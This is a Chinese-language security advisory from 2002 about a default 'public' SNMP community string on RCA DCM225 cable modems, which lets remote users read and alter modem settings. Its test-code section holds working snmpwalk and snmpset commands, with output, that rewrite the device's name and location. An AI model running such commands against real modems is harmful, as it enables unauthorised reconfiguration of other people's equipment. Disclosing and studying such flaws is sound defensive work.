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RCA Digital Cable Modem public SNMP管理漏洞


发布时间:2002-03-30
更新时间:2002-03-30
严重程度:
威胁程度:服务器信息泄露
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:4377

受影响系统
RCA Digital Cable Modem 0.0DCM225E
RCA Digital Cable Modem 0.0DCM225
详细描述
RCA Digital Cable Modem是一款有线调制解调器。

存在公共通信串public,远程用户可以通过SNMP接口监听的10.0.0.0/8地址空间使用公共通信串进行查看,修改MODEM配置数据。

测试代码
<quote>
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public

system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (141857) 0:23:38.57
system.sysContact.0 = unassigned sysContact
system.sysName.0 =
system.sysLocation.0 =
system.sysServices.0 = 79

[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysName.0 s lame
system.sysName.0 = lame

[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysLocation.0 s
lame_cyty
system.sysName.0 = lame_city


[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public

system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (161396) 0:26:53.96
system.sysContact.0 = unassigned sysContact
system.sysName.0 = lame
system.sysLocation.0 = lame_city
system.sysServices.0 = 79
</quote>

解决方案
尚无

相关信息
Gabriel A. Maggiotti <gmaggiot@ciudad.com.ar>.
参考:http://online.securityfocus.com/archive/1/264404
http://online.securityfocus.com/archive/1/264431
相关主页:http://www.rca.com/product/viewmodellist/browseproduct/0,2589,CI700094,00.html?